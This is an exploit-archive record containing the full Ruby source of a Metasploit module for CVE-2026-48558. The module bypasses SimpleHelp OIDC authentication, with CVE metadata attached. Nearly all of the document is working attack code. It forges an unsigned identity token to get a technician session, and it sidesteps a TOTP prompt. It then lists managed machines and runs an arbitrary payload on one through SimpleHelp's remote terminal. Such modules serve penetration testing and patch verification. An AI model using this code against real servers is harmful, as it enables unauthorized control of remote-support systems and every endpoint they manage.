{"exploit":{"id":"MSF-multi--http--simplehelp_oidc_auth_bypass_rce","name":"SimpleHelp OIDC Authentication Bypass Remote Code Execution","description":"This module exploits CVE-2026-48558 to forge an OpenID Connect identity token and obtain a SimpleHelp technician session. It then uses SimpleHelp's legitimate remote access WebSocket protocol to connect to an online managed machine and execute a payload through the remote terminal. An OIDC provider must be enabled for a technician group that permits group-authenticated logins. The group must be allowed to access the selected machine and run remote commands. The SimpleHelp server must have a valid session license, and at least one managed machine must be online. SimpleHelp 5.5.0 through 5.5.15 are affected. Some SimpleHelp 6.0 prerelease builds before 6.0 RC2 are also affected.","cves":["CVE-2026-48558"],"author":"Zach Hanley, Horizon3.ai, Blackpoint Cyber, jheysel-r7","published":"2026-06-12","platform":"Linux,OSX,Unix,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/simplehelp_oidc_auth_bypass_rce.rb","path":"modules/exploits/multi/http/simplehelp_oidc_auth_bypass_rce.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"simplehelp_oidc_auth_bypass_rce.rb","vulnerabilities":[{"id":"CVE-2026-48558","state":"PUBLISHED","title":"SimpleHelp Authentication Bypass via Missing OIDC JWT Signature Verification","titleSource":"CVE Program","description":"SimpleHelp versions 5.5.15 and prior and 6.0 pre-release versions contain an authentication bypass vulnerability in the OIDC authentication flow. When OIDC authentication is configured, identity tokens submitted during login are accepted without verifying their cryptographic signature. In a vulnerable configuration, a remote, unauthenticated attacker can submit a forged token containing arbitrary identity claims to obtain a fully authenticated technician session. In some configurations, this may also allow bypass of multi-factor authentication. No user interaction is required.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48558","cvss":{"version":"4.0","baseScore":9.5,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48558"},"updatedAt":"2026-10-07T19:26:16.974Z","retrievedAt":"2026-11-25T16:15:43.218Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--simplehelp_oidc_auth_bypass_rce.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--simplehelp_oidc_auth_bypass_rce","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--simplehelp_oidc_auth_bypass_rce/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--simplehelp_oidc_auth_bypass_rce/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"# frozen_string_literal: true\n\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  TECH_SERVER_PLANE = 0\n  USER_CONNECT_PLANE = 2\n  SOCKET_SETUP_PLANE = 0\n  TERMINAL_PLANE = 5\n\n  TRANSACTION_WRAPPER = -1_524_849_380\n  GET_MACHINE_LIST = 13_000\n  CONNECT_TO_MACHINE = 8_000\n\n  TOTP_TOKEN_REQUEST = 170\n  SOCKET_FIRST = -4_517_462\n  SOCKET_PASSWORD_OK = -1_412_623_820\n  SOCKET_BAD_PASSWORD = 1_126_292_666\n  TERMINAL_COMMAND = 655_362\n  TERMINAL_OUTPUT = 655_363\n  TERMINAL_NEW = 655_369\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'SimpleHelp OIDC Authentication Bypass Remote Code Execution',\n        'Description' => %q{\n          This module exploits CVE-2026-48558 to forge an OpenID Connect identity token and\n          obtain a SimpleHelp technician session. It then uses SimpleHelp's legitimate remote\n          access WebSocket protocol to connect to an online managed machine and execute a\n          payload through the remote terminal.\n\n          An OIDC provider must be enabled for a technician group that permits group-authenticated\n          logins. The group must be allowed to access the selected machine and run remote commands.\n          The SimpleHelp server must have a valid session license, and at least one managed machine\n          must be online.\n\n          SimpleHelp 5.5.0 through 5.5.15 are affected. Some SimpleHelp 6.0 prerelease builds before\n          6.0 RC2 are also affected.\n        },\n        'Author' => [\n          'Zach Hanley', # Discovery\n          'Horizon3.ai', # Vulnerability research\n          'Blackpoint Cyber', # Post-authentication intrusion chain\n          'jheysel-r7' # Metasploit module\n        ],\n        'References' => [\n          ['CVE', '2026-48558'],\n          ['URL', 'https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/'],\n          ['URL', 'https://guides.simple-help.com/kb---security-vulnerabilities-05-2026'],\n          ['URL', 'https://blackpointcyber.com/blog/a-djinn-in-the-machine-taskweavers-node-js-intrusion-chain/']\n        ],\n        'License' => MSF_LICENSE,\n        'DisclosureDate' => '2026-06-12',\n        'Privileged' => true,\n        'Payload' => {\n          'BadChars' => \"\\x00\\r\\n\"\n        },\n        'Targets' => [\n          [\n            'Unix/Linux/macOS Command',\n            {\n              'Platform' => %w[linux osx unix],\n              'Arch' => ARCH_CMD,\n              'Shell' => 3,\n              'OSPattern' => /Linux|Ubuntu|Debian|Fedora|Red Hat|CentOS|macOS|Mac OS/i\n            }\n          ],\n          [\n            'Windows Command',\n            {\n              'Platform' => 'win',\n              'Arch' => ARCH_CMD,\n              'Shell' => 1,\n              'OSPattern' => /Windows/i\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'RPORT' => 443,\n          'SSL' => true\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The base path to the SimpleHelp installation', '/']),\n        OptString.new('OIDC_PROVIDER', [false, 'The OIDC provider name (the first available provider is used by default)']),\n        OptString.new('MACHINE_ID', [false, 'The managed machine ID to obtain a session on (the first online machine is used by default)']),\n        OptString.new('NEW_USERNAME', [true, 'The username claim for the forged technician', Faker::Internet.username(specifier: 8..12)]),\n        OptString.new('NEW_EMAIL', [true, 'The email claim for the forged technician', Faker::Internet.email]),\n        OptString.new('NEW_DISPLAY_NAME', [true, 'The display name claim for the forged technician', Faker::Name.name])\n      ]\n    )\n  end\n\n  def check\n    version_res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'allversions')\n    )\n    return CheckCode::Unknown('No response received from the target') unless version_res\n    return CheckCode::Unknown('Unable to retrieve the SimpleHelp version') unless version_res.body =~ /^Visual Version:\\s*(\\d+\\.\\d+(?:\\.\\d+)?)/\n\n    version = Rex::Version.new(Regexp.last_match(1))\n    unless version.between?(Rex::Version.new('5.5.0'), Rex::Version.new('5.5.15'))\n      if version >= Rex::Version.new('6.0.0') && version < Rex::Version.new('6.1.0')\n        return CheckCode::Detected(\"SimpleHelp #{version} detected; the version string does not identify affected 6.0 prerelease builds\")\n      end\n\n      return CheckCode::Safe(\"SimpleHelp version #{version} is not affected\")\n    end\n\n    providers = oidc_providers\n    return CheckCode::Safe(\"SimpleHelp #{version} does not expose an enabled OIDC provider\") if providers.empty?\n\n    provider_names = providers.filter_map { |provider| provider['name'] }.join(', ')\n    CheckCode::Appears(\"SimpleHelp #{version} exposes OIDC provider(s): #{provider_names}\")\n  rescue StandardError => e\n    CheckCode::Unknown(\"Failed to check the target: #{e.message}\")\n  end\n\n  def exploit\n    cookie_jar.clear\n    session_cookie = create_technician_session\n    @wsock = connect_ws(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path),\n      'headers' => {\n        'Cookie' => \"#{session_cookie.name}=#{session_cookie.value}\"\n      }\n    )\n\n    technician = authenticate_websocket(session_cookie.value)\n    report_service(\n      host: rhost,\n      port: rport,\n      proto: 'tcp',\n      name: ssl ? 'https' : 'http',\n      info: 'SimpleHelp remote support server'\n    )\n    machine = select_machine(enumerate_machines)\n    validate_machine_target!(machine)\n\n    print_status(\"Connecting to managed machine #{machine['name'].inspect} (#{machine['machineID']})\")\n    establish_remote_terminal(machine['machineID'], technician)\n\n    print_status(\"Executing the payload through the #{target.name} terminal\")\n    send_user_plane(TERMINAL_PLANE, {\n      'type' => TERMINAL_COMMAND,\n      'terminalNumber' => 0,\n      'dataString' => \"#{payload.encoded}\\n\"\n    })\n\n    report_vuln(\n      host: rhost,\n      port: rport,\n      proto: 'tcp',\n      name: name,\n      info: \"Executed a command on managed machine #{machine['machineID']} through a forged technician session\",\n      refs: references\n    )\n  rescue Rex::Proto::Http::WebSocket::ConnectionError => e\n    fail_with(Failure::Unreachable, \"The SimpleHelp WebSocket connection failed: #{e.message}\")\n  end\n\n  def cleanup\n    @wsock&.wsclose\n  rescue StandardError\n    nil\n  ensure\n    super\n  end\n\n  def create_technician_session\n    provider = select_provider\n    print_status(\"Requesting an authorization flow for OIDC provider #{provider['name'].inspect}\")\n\n    callback = \"#{normalize_uri(target_uri.path, 'webapps', 'technician')}/\"\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'auth', 'v1', 'account', 'oidc_get'),\n      'vars_get' => {\n        'payload' => provider.merge('callback' => callback).to_json\n      },\n      'keep_cookies' => true\n    )\n    fail_with(Failure::Unreachable, 'No response received while starting the OIDC flow') unless res\n    fail_with(Failure::UnexpectedReply, \"OIDC flow request returned HTTP #{res.code}\") unless res.code == 200\n\n    authorization_url = res.get_json_document\n    fail_with(Failure::UnexpectedReply, 'The OIDC flow response did not contain an authorization URL') unless authorization_url.is_a?(String)\n\n    begin\n      authorization_query = URI.decode_www_form(URI.parse(authorization_url).query.to_s).to_h\n    rescue URI::InvalidURIError, ArgumentError => e\n      fail_with(Failure::UnexpectedReply, \"The OIDC authorization URL could not be parsed: #{e.message}\")\n    end\n\n    state = authorization_query['state']\n    fail_with(Failure::UnexpectedReply, 'The OIDC authorization URL did not contain a state parameter') if state.blank?\n\n    claims = {\n      'sub' => Faker::Internet.uuid,\n      'preferred_username' => datastore['NEW_USERNAME'],\n      'name' => datastore['NEW_DISPLAY_NAME'],\n      'email' => datastore['NEW_EMAIL'],\n      'iat' => Time.now.to_i,\n      'exp' => Time.now.to_i + 3600\n    }\n    claims['nonce'] = authorization_query['nonce'] if authorization_query['nonce'].present?\n\n    id_token = [\n      Rex::Text.encode_base64url({ 'alg' => 'none', 'typ' => 'JWT' }.to_json),\n      Rex::Text.encode_base64url(claims.to_json),\n      'x'\n    ].join('.')\n\n    print_status(\"Submitting a forged identity token for #{datastore['NEW_USERNAME'].inspect}\")\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'oidc'),\n      'vars_post' => {\n        'state' => state,\n        'id_token' => id_token\n      },\n      'keep_cookies' => true\n    )\n    fail_with(Failure::Unreachable, 'No response received from the OIDC callback') unless res\n    fail_with(Failure::UnexpectedReply, \"The OIDC callback returned HTTP #{res.code}\") unless [200, 302].include?(res.code)\n\n    status_res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'auth', 'v1', 'account', 'status'),\n      'keep_cookies' => true\n    )\n    fail_with(Failure::Unreachable, 'No response received while verifying the technician session') unless status_res\n    fail_with(Failure::UnexpectedReply, \"The account status endpoint returned HTTP #{status_res.code}\") unless status_res.code == 200\n\n    status = status_res.get_json_document\n    unless status.is_a?(Hash) && status['state'] == 'FULLY_AUTHENTICATED' && status['code'] == 1\n      fail_with(Failure::NoAccess, 'The forged identity token did not create an authenticated technician session')\n    end\n\n    session_cookie = cookie_jar.cookies.find { |cookie| cookie.name == 'shelp-tc-sessionid' }\n    fail_with(Failure::UnexpectedReply, 'Authentication succeeded but the technician session cookie was not found') unless session_cookie\n\n    print_good(\"Authenticated as SimpleHelp technician #{status.dig('user', 'username') || datastore['NEW_USERNAME']}\")\n    session_cookie\n  end\n\n  def authenticate_websocket(session_token)\n    send_websocket_message('credentials' => { 'sessionToken64' => session_token })\n    login_accepted = false\n\n    wait_for_websocket_message('technician WebSocket authentication') do |message|\n      if message['code'] == TOTP_TOKEN_REQUEST\n        send_websocket_message('message' => 'NONE')\n        next false\n      end\n\n      if message['code'] == 1\n        login_accepted = true\n        next false\n      end\n\n      if message['code'] && message['code'] < 0\n        fail_with(Failure::NoAccess, 'The technician session was rejected by the WebSocket endpoint')\n      end\n\n      next false unless login_accepted && message['transientTechUser'].is_a?(Hash)\n\n      message['transientTechUser']\n    end\n  end\n\n  def enumerate_machines\n    send_tech_transaction(0, 'type' => GET_MACHINE_LIST)\n    machines = wait_for_websocket_message('managed machine list') do |message|\n      candidate = message.dig('payload', 'payload', 'machines') if message['plane'] == TECH_SERVER_PLANE\n      candidate.is_a?(Array) ? candidate : false\n    end\n    print_status(\"Found #{machines.length} managed machine#{machines.length == 1 ? '' : 's'}\")\n    machines\n  end\n\n  def select_machine(machines)\n    requested_id = datastore['MACHINE_ID']\n    if requested_id.present?\n      machine = machines.find { |candidate| candidate['machineID'] == requested_id }\n      fail_with(Failure::BadConfig, \"Managed machine #{requested_id.inspect} was not found\") unless machine\n    else\n      machine = machines.find { |candidate| candidate['online'] }\n      fail_with(Failure::NotFound, 'No online managed machines are visible to the forged technician') unless machine\n    end\n\n    fail_with(Failure::NoTarget, \"Managed machine #{machine['machineID']} is offline\") unless machine['online']\n    machine\n  end\n\n  def validate_machine_target!(machine)\n    machine_os = machine['os'].to_s\n    return if machine_os.match?(target['OSPattern'])\n\n    fail_with(Failure::BadConfig, \"The selected #{target.name} target does not match managed machine OS #{machine_os.inspect}\")\n  end\n\n  def establish_remote_terminal(machine_id, technician)\n    send_tech_transaction(1, {\n      'type' => CONNECT_TO_MACHINE,\n      'machineID' => machine_id\n    })\n\n    connection_accepted = false\n    socket_authenticated = false\n    terminal_output = +''\n\n    wait_for_websocket_message('remote terminal prompt', timeout: 45) do |message|\n      if message['plane'] == TECH_SERVER_PLANE && message.dig('payload', 'conv') == 1\n        response = message.dig('payload', 'payload')\n        if response['type'] == -3\n          fail_with(Failure::NoAccess, \"SimpleHelp refused the remote session: #{response['note']}\")\n        elsif response['type'].to_i < 0\n          fail_with(Failure::UnexpectedReply, \"SimpleHelp returned remote connection error #{response['type']}: #{response['note']}\")\n        elsif response['type'] == 1\n          connection_accepted = true\n        end\n      end\n\n      next false unless message['plane'] == USER_CONNECT_PLANE\n\n      nested = message['payload']\n      next false unless nested.is_a?(Hash) && nested['plane']\n\n      nested_payload = nested['payload']\n      next false unless nested_payload.is_a?(Hash)\n\n      if nested['plane'] == SOCKET_SETUP_PLANE\n        case nested_payload['type']\n        when SOCKET_FIRST\n          send_user_plane(SOCKET_SETUP_PLANE, 'password' => '')\n        when SOCKET_BAD_PASSWORD\n          fail_with(Failure::NoAccess, 'The managed machine requires a remote access password')\n        when SOCKET_PASSWORD_OK\n          basic_technician = {\n            'uniqueID' => technician['uniqueID'],\n            'displayName' => technician['displayName'],\n            'username' => technician['username'],\n            'emailAddress' => technician['emailAddress'],\n            'isOnline' => true\n          }\n          send_user_plane(SOCKET_SETUP_PLANE, basic_technician)\n          Rex.sleep(0.5)\n          send_user_plane(TERMINAL_PLANE, {\n            'type' => TERMINAL_NEW,\n            'terminalNumber' => 0,\n            'shell' => target['Shell']\n          })\n          socket_authenticated = true\n        end\n      elsif nested['plane'] == TERMINAL_PLANE && nested_payload['type'] == TERMINAL_OUTPUT\n        data = nested_payload['data']\n        terminal_output << data.pack('C*') if data.is_a?(Array)\n      end\n\n      connection_accepted && socket_authenticated && terminal_output.match?(/[>$%]\\s*\\z|#\\s*\\z/)\n    end\n  end\n\n  def send_tech_transaction(conversation_id, request)\n    send_websocket_message(\n      'plane' => TECH_SERVER_PLANE,\n      'payload' => {\n        'type' => TRANSACTION_WRAPPER,\n        'conv' => conversation_id,\n        'payload' => request\n      }\n    )\n  end\n\n  def send_user_plane(plane, payload)\n    send_websocket_message(\n      'plane' => USER_CONNECT_PLANE,\n      'payload' => {\n        'plane' => plane,\n        'payload' => payload\n      }\n    )\n  end\n\n  def send_websocket_message(message)\n    @wsock.put_wstext(message.to_json)\n  end\n\n  def wait_for_websocket_message(description, timeout: 20)\n    deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC) + timeout\n    loop do\n      remaining = deadline - Process.clock_gettime(Process::CLOCK_MONOTONIC)\n      fail_with(Failure::TimeoutExpired, \"Timed out waiting for #{description}\") if remaining <= 0\n\n      message = receive_websocket_message(remaining)\n      result = yield(message)\n      return result if result\n    end\n  end\n\n  def receive_websocket_message(timeout)\n    frame = ::Timeout.timeout(timeout) do\n      loop do\n        frame = @wsock.get_wsframe\n        fail_with(Failure::Disconnected, 'The SimpleHelp WebSocket connection closed unexpectedly') unless frame\n\n        if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::PING\n          @wsock.put_wsframe(frame.dup.tap { |reply| reply.header.opcode = Rex::Proto::Http::WebSocket::Opcode::PONG })\n          next\n        end\n        fail_with(Failure::Disconnected, 'The SimpleHelp WebSocket connection closed unexpectedly') if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE\n        next unless frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::TEXT\n\n        break frame\n      end\n    end\n\n    JSON.parse(frame.payload_data.to_s)\n  rescue ::Timeout::Error\n    fail_with(Failure::TimeoutExpired, 'Timed out waiting for a SimpleHelp WebSocket response')\n  rescue JSON::ParserError => e\n    fail_with(Failure::UnexpectedReply, \"SimpleHelp returned an invalid WebSocket JSON message: #{e.message}\")\n  end\n\n  def oidc_providers\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'auth', 'v1', 'account', 'login_options')\n    )\n    return [] unless res&.code == 200\n\n    options = res.get_json_document\n    return [] unless options.is_a?(Array)\n\n    options.select { |provider| provider.is_a?(Hash) && %w[oidc azure].include?(provider['type']) }\n  end\n\n  def select_provider\n    providers = oidc_providers\n    fail_with(Failure::NotFound, 'No enabled OIDC provider was exposed by SimpleHelp') if providers.empty?\n\n    requested_provider = datastore['OIDC_PROVIDER']\n    return providers.first if requested_provider.blank?\n\n    provider = providers.find { |candidate| candidate['name'] == requested_provider }\n    fail_with(Failure::BadConfig, \"OIDC provider #{requested_provider.inspect} was not found\") unless provider\n\n    provider\n  end\nend\n","sha256":"d4a805b4193e5e05e3b6ad5dd5754c55568fc2f12336aa12f810d54273c9e325","bytes":17853,"fetchedAt":"2026-11-25T16:31:00.899Z","encoding":"utf-8 (display only; download retains original bytes)"}